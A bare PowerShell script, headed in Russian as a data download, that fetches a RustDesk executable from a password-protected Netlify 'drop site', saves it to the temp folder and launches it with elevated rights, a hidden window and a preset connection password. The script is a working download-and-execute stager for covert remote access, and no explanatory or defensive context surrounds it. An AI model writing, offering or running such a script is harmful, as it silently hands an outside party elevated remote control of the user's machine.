Загрузка данных


$siteUrl = "https://chimerical-strudel-87bc57.netlify.app/"
$fileName = "rustdesk-1.4.9-x86_64.exe"
$password = "My-Drop-Site"
$localPath = "$env:TEMP\$fileName"

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$init = Invoke-WebRequest -Uri $siteUrl -SessionVariable session
$authUrl = "$siteUrl/.netlify/functions/verify-password"
$body = @{ password = $password } | ConvertTo-Json

try {
    $authResponse = Invoke-WebRequest -Uri $authUrl -Method Post -Body $body -ContentType application/json -SessionVariable session
    $fileUrl = "$siteUrl/$fileName"
    Invoke-WebRequest -Uri $fileUrl -OutFile $localPath -WebSession $session
    Start-Process $localPath -ArgumentList "--password My-Drop-Site" -Verb RunAs -WindowStyle Hidden
} catch {
    Write-Error "Ошибка: $_"
}